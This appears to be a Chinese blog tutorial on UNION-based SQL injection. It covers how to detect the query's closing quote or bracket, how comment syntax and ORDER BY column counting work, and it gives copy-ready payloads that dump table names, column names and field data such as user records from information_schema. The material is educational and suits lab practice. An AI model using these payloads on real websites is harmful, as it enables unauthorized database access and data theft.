联合查询注入

SQL注入

联合注入

UNION query SQL injection(联合查询注入)联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化 

Error-based SQL injection(错型注入)

Boolean-based blind SQL injection(基于布尔的盲注)

Time-based blind SQL injection(基于时间的盲注)

Stacked queries SQL injection(可多语句查询注入)

联合查询注入

  1. 注入点判断

判断闭合形式(单引号闭合、双引号闭合)

方法1(转义符\判断):
首先我们可以使用\(转义字符)来判断SQL注入的闭合方式。
原理,当闭合字符遇到转义字符时,会被转义,那么没有闭合符的语句就不完整了,就会报错,通过报错信息我们就可以推断出闭合符。

方法2:
首先尝试:
?id=1’
?id=1”
结果一:如果都报错
判断闭合符为:整形闭合。

结果二:如果单引号报错,双引号不报错。
继续尝试
?id=1’ –-+
结果1:无报错
判断闭合符为:单引号闭合。
结果2:报错
判断闭合符可能为:单引号加括号。

结果三:如果单引号不报错,双引号报错。
继续尝试
?id=1" -–+
结果1:结果无报错
判断闭合符为:双引号闭合。
结果2:报错
判断闭合符可能为:双引号加括号。

数字型闭合方式判断

首先尝试?id=1' ?id=1''

结果一全报错

为整形闭合(?id=1)

结果二:单引号报错,双引号不报错

继续尝试

当单引号报错,双引号不报错时尝试?id=1' --+

结果一:无报错

单引号闭合(?id='1')

结果二:报错

可能为单引号加括号?id=('1')

结果三:若单引号不报错,双引号报错

若单引号不报错,双引号报错时尝试用?id=1'' --+

结果一:无报错

双引号闭合?id="1"

结果二:报错

写了一个思维导图更好理解判断逻辑。

闭合的几种常见方式:

SELECT * FROM `users` WHERE id= 1;#整形闭合

SELECT * FROM `users` WHERE id='1'; #单引号闭合

SELECT * FROM `users` WHERE id="1";#双引号闭合

SELECT * FROM `users` WHERE id=('1');#单引号加括号

SELECT * FROM `users` WHERE id=("1");#双引号加括号

**:这里的括号不一定只有一个,闭合符里是允许多个括号组合成闭合符的,具体要判段有多少个括号,可以使用二分法来快速判断

*注释1 --+ 其中+起到空格的作用总结:--是起到注释的作用,+是启动空格的作用,在sql中用--注释后面必须加一个空格--才生效,所以我们不一定要用--+,可以用-- 加上空格在加上任意字符,都行*

*注释2 # 但在浏览器中提交时需要url编码,%23*

Order by 语句用于根据指定的列对结果集进行排序,其应用方法:

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)   #数字就是代替列名字

select * from 表名 order by 列名(或者数字) desc;降序

爆数据库表名的公式语句:

#直接套用语句

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆表的字段名的公式语句:

#只需指定表名即可

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

#或者指定当前数据库名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='表名' and table_name='users' --+

爆字段的数据公式语句:

#只需指定表名和字段名

?id=-1' union select 1,2,group_concat(`字段1`,':',`字段2`,':',`字段3`) from 表名 --+

#字段值不加反引号也可以        

?id=-1' union select 1,2,group_concat(字段1,':',字段2,':',字段3) from 表名 --+

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值